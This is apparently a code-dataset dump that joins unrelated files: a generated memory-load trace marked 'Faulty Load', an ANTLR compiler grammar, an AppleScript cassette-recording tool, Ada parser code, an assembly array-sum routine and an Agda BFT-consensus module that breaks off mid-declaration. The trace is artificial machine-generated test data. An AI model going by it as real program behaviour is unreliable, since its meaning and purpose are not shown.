{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_UC', 'congruent': 1}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_PSE', 'congruent': 8}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_RW', 'congruent': 7}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A', 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': True, 'size': 1, 'type': 'addresses_WT_ht', 'congruent': 7}}
{'dst': {'same': False, 'congruent': 5, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_normal_ht'}}
{'dst': {'same': False, 'congruent': 0, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_normal_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_normal_ht', 'congruent': 9}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_D_ht', 'congruent': 9}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_normal_ht'}}
{'dst': {'same': False, 'congruent': 8, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_WC_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 2, 'type': 'addresses_WT_ht', 'congruent': 7}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC_ht', 'congruent': 9}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 32, 'type': 'addresses_D_ht', 'congruent': 1}}
{'dst': {'same': False, 'congruent': 4, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_A_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_normal_ht', 'congruent': 2}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 4, 'type': 'addresses_UC_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_UC_ht', 'congruent': 3}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WC_ht', 'congruent': 10}, 'OP': 'STOR'}
{'00': 1956}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
compiler/ifcc.g4
|
KenzaB27/PLD-COMP-H4242
| 0
|
5446
|
grammar ifcc;
axiom: program;
program: elements+;
elements: function ;
function: TYPE 'main' '()' block;
block: '{' codelines '}';
codelines: codeline*;
codeline:
instructionLine # CodeLine_InstructionLine
| structure # CodeLine_Structure;
blockOrLine:
block # BlockImplementation
| instructionLine # InstructionIsBlock;
instructionLine:
assignement ';' # InstructionLine_Assignement
| instruction ';' # InstructionLine_Instruction
| returnCode ';' # InstructionLine_ReturnCode
| breakCode ';' # InstructionLine_BreakCode;
structure:
ifCode # Structure_IfCode
| whileCode # Structure_While
| forCode # Structure_For
| block # Structure_Block;
ifCode:
'if' '(' expression ')' blockOrLine elseIfCode*? elseCode?;
elseIfCode: 'else' 'if' '(' expression ')' blockOrLine;
elseCode: 'else' blockOrLine;
whileCode: 'while' '(' expression ')' blockOrLine;
forCode:
'for' '(' instructionLine expression ';' instruction ')' blockOrLine;
breakCode: 'break';
returnCode: 'return' expression?;
assignement:
TYPE identifier AFFECT expression # AssignAndDeclare
| TYPE identifier # Declare;
AFFECT: '=' | '+=' | '-=' | '*=' | '/=';
instruction:
IDENTIFIER AFFECT instruction # AssignInstruction
| IDENTIFIER AFFECT expression # AssignExpression
| IDENTIFIER '++' # PostIncrement
| '++' IDENTIFIER # PreIncrement
| IDENTIFIER '--' # PostDecrement
| '--' IDENTIFIER # PreDecrement;
expression:
IDENTIFIER DPLUS # ExprPostIncrement
| DPLUS IDENTIFIER # ExprPreIncrement
| IDENTIFIER DMOINS # ExprPostDecrement
| DMOINS IDENTIFIER # ExprPreDecrement
| OP2 expression # ExprSign
| OP3 expression # ExprNeg
| expression OP1 expression # Op1
| expression OP2 expression # Op2
| expression OPShift expression # OpShift
| expression OPGL expression # OpGreaterless
| expression OPEN expression # OpEqualNotEqual
| expression '&' expression # OpAndBitwise
| expression '^' expression # OpXorBitwise
| expression '|' expression # OpOrBitwise
| expression '&&' expression # OpAnd
| expression '||' expression # OpOr
| '(' expression ')' # ExprParentheses
| CONST # ExprConst
| IDENTIFIER # ExprIdentifier;
OP1: '*' | '/' | '%';
OP2: [+-];
OP3: [!];
DPLUS: '++';
DMOINS: '--';
OPShift: '<<' | '>>';
OPGL: '>' | '<' | '>=' | '<=';
OPEN: '==' | '!=';
identifier:
IDENTIFIER # SingleIdentifier
| identifier ',' identifier # MultipleIdentifiers;
COMMENT: '/*' .*? '*/' -> skip;
DIRECTIVE: '#' .*? '\n' -> skip;
TYPE: 'int';
CONST: [0-9]+;
IDENTIFIER: [a-zA-Z][a-zA-Z_0-9]*;
WS: [ \t\r\n] -> channel(HIDDEN);
|
main.scpt
|
Lesterrry/Studio-Attic
| 0
|
1210
|
(*
Studio Attic v0.1.8
Cassette-recording tool
****************************************************************
COPYRIGHT LESTERRRY, 2021
*)
property gaplength : 3
display dialog "Welcome to Studio Attic!
Select tape length" default answer "" with title "Studio Attic" buttons {"60 min", "90 min", "From field"}
if the button returned of the result is "From field" and the text returned of the result is not "" then
try
set tapelength to the (text returned of the result as number) * 60
on error
display alert "Sorry, provided length is NaN"
quit me
end try
else if button returned of the result is "60 min" then
set tapelength to 3600
else if button returned of the result is "90 min" then
set tapelength to 5400
else
quit me
end if
display dialog "Now select a Music playlist to record on your " & (round tapelength / 60) & " min cassette" default answer "" with title "Studio Attic" buttons {"Next"}
set plist to the (text returned of the result) as string
try
tell application "Music" to reveal playlist plist
on error
display alert "Sorry, '" & plist & "' does not seem to exist"
quit me
end try
tell application "Music"
set plistcount to number of tracks of playlist plist
set plistlength to (round (duration of playlist plist as real)) + (plistcount * gaplength)
set plistlengthsec to round (plistlength / 60)
set tapelengthsec to round (tapelength / 60)
if plistlengthsec is greater than tapelengthsec then
display alert "Sorry, this playlist is too long: " & (plistlengthsec as string) & " min vs " & (tapelengthsec as string) & " min"
quit me
end if
repeat while true
set a to 0
set i to 0
repeat with j in tracks of playlist plist
try
set b to a + gaplength + (duration of j)
on error
display alert "Sorry, problem with '" & name of j & "'"
quit me
end try
if b < tapelength / 2 then
set a to b
set i to i + 1
else
set s to (round (a / 60)) as string
set t to (round (plistlength - a) / 60) as string
set o to (round plistlength / 60) as string
set songscount_a to i
set songscount_b to plistcount - i
exit repeat
end if
end repeat
tell me to display dialog ("Time including gaps: " & s & " min (" & (songscount_a as string) & " songs) will be recorded on side A, leaving " & t & " min (" & (songscount_b as string) & " songs) for B.
" & o & " min in total.") buttons {"Update", "Abort", "Next"} with title "Studio Attic" default button "Next"
if the button returned of the result is "Abort" then
quit me
else if the button returned of the result is "Next" then
exit repeat
end if
end repeat
display dialog "You're all set to record '" & plist & "' on your " & (round tapelength / 60) & " min cassette. Don't forget to quit all disturbing apps to avoid unwanted sounds.
Shall we begin?" buttons {"Abort", "Advanced", "Launch"} default button "Launch" with title "Studio Attic"
if the button returned of the result is "Abort" then
quit me
else
set b to button returned of the result
set shuffle enabled to false
set song repeat to off
set sound volume to 85
set volume output volume 90
set a to 0
play playlist plist
if b is "Advanced" then
pause
display dialog "Select a track to begin with" default answer "1" with title "Studio Attic" buttons {"Launch from side B", "Launch"} default button "Launch"
if the button returned of the result is "Launch" then
try
set a to the (text returned of the result as number) - 1
on error
display alert "Sorry, provided track is NaN"
quit me
end try
else
set a to songscount_a
end if
repeat a times
next track
end repeat
play
end if
end if
set i to a
set recb to false
repeat while i is not equal to (songscount_a + songscount_b) - 1
set i to i + 1
repeat
if player state is paused then
quit me
end if
if player position is greater than (duration of the current track) - 2 then
pause
next track
if i is equal to songscount_a and recb is false then
set recb to true
pause
tell me to display dialog "Side A recording completed. Wait for the tape to end." buttons "Next" with title "Studio Attic"
play
else
display notification (i as string) & " out of " & songscount_a + songscount_b & " recorded" with title plist & " – Studio Attic"
delay gaplength
play
end if
delay 4
exit repeat
end if
delay 1
end repeat
end repeat
end tell
display dialog "Side B recording completed. Return soon to the Attic!" buttons "Exit" with title "Studio Attic"
|
source/base/incr-nodes.adb
|
reznikmm/increment
| 5
|
143
|
<gh_stars>1-10
-- Copyright (c) 2015-2017 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-- License-Filename: LICENSE
-------------------------------------------------------------
with Incr.Nodes.Tokens;
package body Incr.Nodes is
To_Diff : constant array (Boolean) of Integer :=
(False => -1, True => 1);
------------------
-- Constructors --
------------------
package body Constructors is
----------------
-- Initialize --
----------------
procedure Initialize (Self : aliased in out Node_With_Parent'Class) is
begin
Versioned_Booleans.Initialize (Self.Exist, False);
Versioned_Booleans.Initialize (Self.LC, False);
Versioned_Booleans.Initialize (Self.LE, False);
Versioned_Nodes.Initialize (Self.Parent, null);
end Initialize;
------------------------
-- Initialize_Ancient --
------------------------
procedure Initialize_Ancient
(Self : aliased in out Node_With_Parent'Class;
Parent : Node_Access) is
begin
Versioned_Booleans.Initialize (Self.Exist, True);
Versioned_Booleans.Initialize (Self.LC, False);
Versioned_Booleans.Initialize (Self.LE, False);
Versioned_Nodes.Initialize (Self.Parent, Parent);
end Initialize_Ancient;
end Constructors;
------------
-- Exists --
------------
overriding function Exists
(Self : Node_With_Exist;
Time : Version_Trees.Version) return Boolean is
begin
return Versioned_Booleans.Get (Self.Exist, Time);
end Exists;
-----------------
-- Child_Index --
-----------------
function Child_Index
(Self : Node'Class;
Child : Constant_Node_Access;
Time : Version_Trees.Version) return Natural is
begin
for J in 1 .. Self.Arity loop
if Constant_Node_Access (Self.Child (J, Time)) = Child then
return J;
end if;
end loop;
return 0;
end Child_Index;
--------------------
-- Discard_Parent --
--------------------
overriding procedure Discard_Parent (Self : in out Node_With_Parent) is
Changed : Boolean;
Ignore : Integer := 0;
Now : constant Version_Trees.Version :=
Self.Document.History.Changing;
begin
Changed := Self.Local_Changes > 0 or Self.Nested_Changes > 0;
if Changed then
Self.Propagate_Nested_Changes (-1);
end if;
Versioned_Nodes.Discard (Self.Parent, Now, Ignore);
if Changed then
Self.Propagate_Nested_Changes (1);
end if;
end Discard_Parent;
-----------------
-- First_Token --
-----------------
function First_Token
(Self : aliased in out Node'Class;
Time : Version_Trees.Version)
return Tokens.Token_Access
is
Child : Node_Access;
begin
if Self.Arity > 0 then
Child := Self.Child (1, Time);
if Child.Is_Token then
return Tokens.Token_Access (Child);
else
return Child.First_Token (Time);
end if;
elsif Self.Is_Token then
return Tokens.Token'Class (Self)'Access;
else
return null;
end if;
end First_Token;
--------------
-- Get_Flag --
--------------
overriding function Get_Flag
(Self : Node_With_Exist;
Flag : Transient_Flags) return Boolean is
begin
return Self.Flag (Flag);
end Get_Flag;
----------------
-- Last_Token --
----------------
function Last_Token
(Self : aliased in out Node'Class;
Time : Version_Trees.Version) return Tokens.Token_Access
is
Child : Node_Access;
begin
if Self.Arity > 0 then
Child := Self.Child (Self.Arity, Time);
if Child.Is_Token then
return Tokens.Token_Access (Child);
else
return Child.Last_Token (Time);
end if;
elsif Self.Is_Token then
return Tokens.Token'Class (Self)'Access;
else
return null;
end if;
end Last_Token;
-------------------
-- Local_Changes --
-------------------
overriding function Local_Changes
(Self : Node_With_Exist;
From : Version_Trees.Version;
To : Version_Trees.Version) return Boolean
is
use type Version_Trees.Version;
Time : Version_Trees.Version := To;
begin
if Self.Document.History.Is_Changing (To) then
-- Self.LC doesn't contain Local_Changes for Is_Changing version yet
-- Take it from Self.Nested_Changes
if Self.Local_Changes > 0 then
return True;
elsif Time = From then
return False;
end if;
Time := Self.Document.History.Parent (Time);
end if;
while Time /= From loop
if Versioned_Booleans.Get (Self.LC, Time) then
return True;
end if;
Time := Self.Document.History.Parent (Time);
end loop;
return False;
end Local_Changes;
---------------------------
-- Mark_Deleted_Children --
---------------------------
procedure Mark_Deleted_Children (Self : in out Node'Class) is
function Find_Root (Node : Node_Access) return Node_Access;
-- Find top root accessible from the Node
procedure Delete_Tree
(Node : not null Node_Access;
Parent : Node_Access;
Index : Positive);
-- Check Node if it's disjointed from ultra-root.
-- Delete a subtree rooted from Node if so.
-- If Parent /= null also set Parent.Child(Index) to null.
Now : constant Version_Trees.Version := Self.Document.History.Changing;
-----------------
-- In_The_Tree --
-----------------
function Find_Root (Node : Node_Access) return Node_Access is
Child : not null Nodes.Node_Access := Node;
begin
loop
declare
Parent : constant Nodes.Node_Access := Child.Parent (Now);
begin
if Parent = null then
return Child;
else
Child := Parent;
end if;
end;
end loop;
end Find_Root;
-----------------
-- Delete_Tree --
-----------------
procedure Delete_Tree
(Node : not null Node_Access;
Parent : Node_Access;
Index : Positive)
is
Changes : Integer := 0;
begin
if not Node.Exists (Now) then
return;
elsif Node.Parent (Now) /= Parent then
declare
Root : constant Node_Access := Find_Root (Node);
begin
if Root = Self.Document.Ultra_Root then
return;
end if;
end;
end if;
for J in 1 .. Node.Arity loop
declare
Child : constant Node_Access := Node.Child (J, Now);
begin
Delete_Tree (Child, Node, J);
end;
end loop;
Versioned_Booleans.Set
(Node_With_Exist (Node.all).Exist,
False,
Now,
Changes => Changes);
if Parent /= null then
Parent.Set_Child (Index, null);
end if;
end Delete_Tree;
Prev : constant Version_Trees.Version :=
Self.Document.History.Parent (Now);
Child : Node_Access;
begin
for J in 1 .. Self.Arity loop
Child := Self.Child (J, Prev);
if Child /= null and then
Child.Exists (Now) and then
Child.Parent (Now) /= Self'Unchecked_Access
then
Child := Find_Root (Child);
if Child /= Self.Document.Ultra_Root then
Delete_Tree (Child, null, J);
end if;
end if;
end loop;
end Mark_Deleted_Children;
------------------
-- Local_Errors --
------------------
overriding function Local_Errors
(Self : Node_With_Exist;
Time : Version_Trees.Version) return Boolean is
begin
return Versioned_Booleans.Get (Self.LE, Time);
end Local_Errors;
------------------
-- Next_Subtree --
------------------
function Next_Subtree
(Self : Node'Class;
Time : Version_Trees.Version) return Node_Access
is
Node : Constant_Node_Access := Self'Unchecked_Access;
Parent : Node_Access := Node.Parent (Time);
Child : Node_Access;
begin
while Parent /= null loop
declare
J : constant Natural := Parent.Child_Index (Node, Time);
begin
if J in 1 .. Parent.Arity - 1 then
for K in J + 1 .. Parent.Arity loop
Child := Parent.Child (K, Time);
if Child /= null then
return Child;
end if;
end loop;
end if;
end;
Node := Constant_Node_Access (Parent);
Parent := Node.Parent (Time);
end loop;
return null;
end Next_Subtree;
---------------
-- On_Commit --
---------------
overriding procedure On_Commit
(Self : in out Node_With_Exist;
Parent : Node_Access)
is
Now : constant Version_Trees.Version := Self.Document.History.Changing;
This : constant Node_Access := Self'Unchecked_Access;
Child : Node_Access;
Diff : Integer := 0; -- Ignore this diff
begin
pragma Assert (Node'Class (Self).Parent (Now) = Parent);
Versioned_Booleans.Set (Self.LC, Self.Local_Changes > 0, Now, Diff);
Self.Nested_Changes := 0;
Self.Local_Changes := 0;
Self.Flag := (others => False);
for J in 1 .. This.Arity loop
Child := This.Child (J, Now);
if Child /= null then
Child.On_Commit (Self'Unchecked_Access);
end if;
end loop;
end On_Commit;
------------
-- Parent --
------------
overriding function Parent
(Self : Node_With_Parent;
Time : Version_Trees.Version)
return Node_Access is
begin
return Versioned_Nodes.Get (Self.Parent, Time);
end Parent;
----------------------
-- Previous_Subtree --
----------------------
function Previous_Subtree
(Self : Node'Class;
Time : Version_Trees.Version) return Node_Access
is
Node : Constant_Node_Access := Self'Unchecked_Access;
Parent : Node_Access := Node.Parent (Time);
Child : Node_Access;
begin
while Parent /= null loop
declare
J : constant Natural := Parent.Child_Index (Node, Time);
begin
if J in 2 .. Parent.Arity then
for K in reverse 1 .. J - 1 loop
Child := Parent.Child (K, Time);
if Child /= null then
return Child;
end if;
end loop;
end if;
end;
Node := Constant_Node_Access (Parent);
Parent := Node.Parent (Time);
end loop;
return null;
end Previous_Subtree;
------------------------------
-- Propagate_Nested_Changes --
------------------------------
procedure Propagate_Nested_Changes
(Self : in out Node'Class;
Diff : Integer)
is
Parent : constant Node_Access :=
Self.Parent (Self.Document.History.Changing);
begin
if Parent /= null then
Parent.On_Nested_Changes (Diff);
end if;
end Propagate_Nested_Changes;
------------------------------
-- Propagate_Nested_Changes --
------------------------------
overriding procedure On_Nested_Changes
(Self : in out Node_With_Exist;
Diff : Integer)
is
Before : Boolean;
After : Boolean;
begin
Before := Self.Local_Changes > 0 or Self.Nested_Changes > 0;
Self.Nested_Changes := Self.Nested_Changes + Diff;
After := Self.Local_Changes > 0 or Self.Nested_Changes > 0;
if Before /= After then
Self.Propagate_Nested_Changes (To_Diff (After));
end if;
end On_Nested_Changes;
--------------
-- Set_Flag --
--------------
overriding procedure Set_Flag
(Self : in out Node_With_Exist;
Flag : Transient_Flags;
Value : Boolean := True)
is
Before : Boolean;
After : Boolean;
begin
Before := (Self.Flag and Local_Changes_Mask) /= No_Flags;
Self.Flag (Flag) := Value;
After := (Self.Flag and Local_Changes_Mask) /= No_Flags;
if Before /= After then
Self.Update_Local_Changes (To_Diff (After));
end if;
end Set_Flag;
----------------------
-- Set_Local_Errors --
----------------------
overriding procedure Set_Local_Errors
(Self : in out Node_With_Exist;
Value : Boolean := True)
is
Now : constant Version_Trees.Version := Self.Document.History.Changing;
Diff : Integer := 0;
begin
Versioned_Booleans.Set (Self.LE, Value, Now, Diff);
Self.Update_Local_Changes (Diff);
end Set_Local_Errors;
----------------
-- Set_Parent --
----------------
overriding procedure Set_Parent
(Self : in out Node_With_Parent;
Value : Node_Access)
is
Changed : Boolean;
Ignore : Integer := 0;
Now : constant Version_Trees.Version :=
Self.Document.History.Changing;
begin
Changed := Self.Local_Changes > 0 or Self.Nested_Changes > 0;
if Changed then
Self.Propagate_Nested_Changes (-1);
end if;
Versioned_Nodes.Set (Self.Parent, Value, Now, Ignore);
if Changed then
Self.Propagate_Nested_Changes (1);
end if;
end Set_Parent;
--------------------------
-- Update_Local_Changes --
--------------------------
not overriding procedure Update_Local_Changes
(Self : in out Node_With_Exist;
Diff : Integer)
is
Before : Boolean;
After : Boolean;
begin
Before := Self.Local_Changes > 0 or Self.Nested_Changes > 0;
Self.Local_Changes := Self.Local_Changes + Diff;
After := Self.Local_Changes > 0 or Self.Nested_Changes > 0;
if Before /= After then
Self.Propagate_Nested_Changes (To_Diff (After));
end if;
end Update_Local_Changes;
end Incr.Nodes;
|
tricks_package.ads
|
ddugovic/words
| 4
|
9367
|
<reponame>ddugovic/words
with DICTIONARY_PACKAGE; use DICTIONARY_PACKAGE;
package TRICKS_PACKAGE is
procedure SYNCOPE(W : STRING;
PA : in out PARSE_ARRAY; PA_LAST : in out INTEGER);
procedure TRY_TRICKS(W : STRING;
PA : in out PARSE_ARRAY; PA_LAST : in out INTEGER;
LINE_NUMBER : INTEGER; WORD_NUMBER : INTEGER);
procedure TRY_SLURY(W : STRING;
PA : in out PARSE_ARRAY; PA_LAST : in out INTEGER;
LINE_NUMBER : INTEGER; WORD_NUMBER : INTEGER);
procedure ROMAN_NUMERALS(INPUT_WORD : STRING;
PA : in out PARSE_ARRAY; PA_LAST : in out INTEGER);
end TRICKS_PACKAGE;
|
Irvine/Examples/ch08/32 bit/ModSum32_traditional/ModSum/_arrysum.asm
|
alieonsido/ASM_TESTING
| 0
|
4881
|
; ArraySum Procedure (_arrysum.asm)
INCLUDE Irvine32.inc
.code
ArraySum PROC
;
; Calculates the sum of an array of 32-bit integers.
; Receives:
; ptrArray ; pointer to array
; arraySize ; size of array (DWORD)
; Returns: EAX = sum
;-----------------------------------------------------
ptrArray EQU [ebp+8]
arraySize EQU [ebp+12]
enter 0,0
push ecx ; don't push EAX
push esi
mov eax,0 ; set the sum to zero
mov esi,ptrArray
mov ecx,arraySize
cmp ecx,0 ; array size <= 0?
jle L2 ; yes: quit
L1: add eax,[esi] ; add each integer to sum
add esi,4 ; point to next integer
loop L1 ; repeat for array size
L2: pop esi
pop ecx ; return sum in EAX
leave
ret 8
ArraySum ENDP
END
|
tests/nonsmoke/functional/CompileTests/experimental_ada_tests/tests/deref_test.adb
|
ouankou/rose
| 488
|
21862
|
<reponame>ouankou/rose
procedure deref_test is
type PString is access String;
a,b : String (1 .. 3);
res : String := "a";
PtrArr: array(1 .. 2) of PString;
function "<"(x,y: in String) return PString is
begin
return PtrArr(1);
end "<";
begin
PtrArr(1) := new String'("<");
PtrArr(2) := new String'(">=");
res := "<"(a, b).all;
PtrArr(2) := a < b;
end deref_test;
|
LibraBFT/Concrete/Obligations/PreferredRound.agda
|
cwjnkins/bft-consensus-agda
| 0
|
8082
|
<reponame>cwjnkins/bft-consensus-agda<filename>LibraBFT/Concrete/Obligations/PreferredRound.agda
{- Byzantine Fault Tolerant Consensus Verification in Agda, version 0.9.
Copyright (c) 2020, 2021, Oracle and/or its affiliates.
Licensed under the Universal Permissive License v 1.0 as shown at https://opensource.oracle.com/licenses/upl
-}
open import LibraBFT.Prelude
open import LibraBFT.Lemmas
open import LibraBFT.Base.Types
open import LibraBFT.Impl.Base.Types
open import LibraBFT.Abstract.Types.EpochConfig UID NodeId
open WithAbsVote
module LibraBFT.Concrete.Obligations.PreferredRound
(𝓔 : EpochConfig)
(𝓥 : VoteEvidence 𝓔)
where
open import LibraBFT.Abstract.Abstract UID _≟UID_ NodeId 𝓔 𝓥
open import LibraBFT.Concrete.Intermediate 𝓔 𝓥
---------------------
-- * PreferredRound * --
---------------------
module _ {ℓ}(𝓢 : IntermediateSystemState ℓ) where
open IntermediateSystemState 𝓢
-- The PreferredRound rule is a little more involved to be expressed in terms
-- of /HasBeenSent/: it needs two additional pieces which are introduced
-- next.
-- Cand-3-chain v carries the information for estabilishing
-- that v.proposed will be part of a 3-chain if a QC containing v is formed.
-- The difficulty is that we can't easily access the "grandparent" of a vote.
-- Instead, we must explicitly state that it exists.
--
-- candidate 3-chain
-- +------------------------------------------------------+
-- | |
-- | 2-chain |
-- +----------------------------------+
-- ⋯ <- v.grandparent <- q₁ <- v.parent <- q <- v.proposed <- v
-- ̭
-- |
-- The 'qc' defined below is an
-- abstract view of q, above.
record voteExtends (v : Vote) : Set where
constructor mkVE
field
veBlock : Block
veId : vBlockUID v ≡ bId veBlock
veRounds≡ : vRound v ≡ bRound veBlock
open voteExtends
record Cand-3-chain-vote (v : Vote) : Set where
field
votesForB : voteExtends v
qc : QC
qc←b : Q qc ← B (veBlock votesForB)
rc : RecordChain (Q qc)
n : ℕ
is-2chain : 𝕂-chain Contig (2 + n) rc
open Cand-3-chain-vote public
-- Returns the round of the head of the candidate 3-chain. In the diagram
-- explaining Cand-3-chain-vote, this would be v.grandparent.round.
Cand-3-chain-head-round : ∀{v} → Cand-3-chain-vote v → Round
Cand-3-chain-head-round c3cand =
getRound (kchainBlock (suc zero) (is-2chain c3cand))
-- The preferred round rule states a fact about the /previous round/
-- of a vote; that is, the round of the parent of the block
-- being voted for; the implementation will have to
-- show it can construct this parent.
data VoteParentData-BlockExt : Record → Set where
vpParent≡I : VoteParentData-BlockExt I
vpParent≡Q : ∀{b q} → B b ← Q q → VoteParentData-BlockExt (Q q)
-- TODO-2: it may be cleaner to specify this as a RC 2 vpParent vpQC,
-- and we should consider it once we address the issue in
-- Abstract.RecordChain (below the definition of transp-𝕂-chain)
record VoteParentData (v : Vote) : Set where
field
vpExt : voteExtends v
vpParent : Record
vpExt' : vpParent ← B (veBlock vpExt)
vpMaybeBlock : VoteParentData-BlockExt vpParent
open VoteParentData public
-- The setup for PreferredRoundRule is like thta for VotesOnce.
-- Given two votes by an honest author α:
Type : Set ℓ
Type = ∀{α v v'}
→ Meta-Honest-Member α
→ vMember v ≡ α → HasBeenSent v
→ vMember v' ≡ α → HasBeenSent v'
-- If v is a vote on a candidate 3-chain, that is, is a vote on a block
-- that extends a 2-chain,
→ (c2 : Cand-3-chain-vote v)
-- and the round of v is lower than that of v',
→ vRound v < vRound v'
------------------------------
-- then α obeyed the preferred round rule:
→ Σ (VoteParentData v')
(λ vp → Cand-3-chain-head-round c2 ≤ round (vpParent vp))
private
make-cand-3-chain : ∀{n α q}{rc : RecordChain (Q q)}
→ (c3 : 𝕂-chain Contig (3 + n) rc)
→ (v : α ∈QC q)
→ Cand-3-chain-vote (∈QC-Vote q v)
make-cand-3-chain {q = q} (s-chain {suc (suc n)} {rc = rc} {b = b} ext₀@(Q←B h0 refl) _ ext₁@(B←Q h1 refl) c2) v
with c2
...| (s-chain {q = q₀} _ _ _ (s-chain _ _ _ c))
= record { votesForB = mkVE b (All-lookup (qVotes-C2 q) (Any-lookup-correct v))
(trans (All-lookup (qVotes-C3 q) (Any-lookup-correct v)) h1)
; qc = q₀
; qc←b = ext₀
; rc = rc
; n = n
; is-2chain = c2
}
-- It is important that the make-cand-3-chain lemma doesn't change the head of
-- the 3-chain/cand-2-chain.
make-cand-3-chain-lemma
: ∀{n α q}{rc : RecordChain (Q q)}
→ (c3 : 𝕂-chain Contig (3 + n) rc)
→ (v : α ∈QC q)
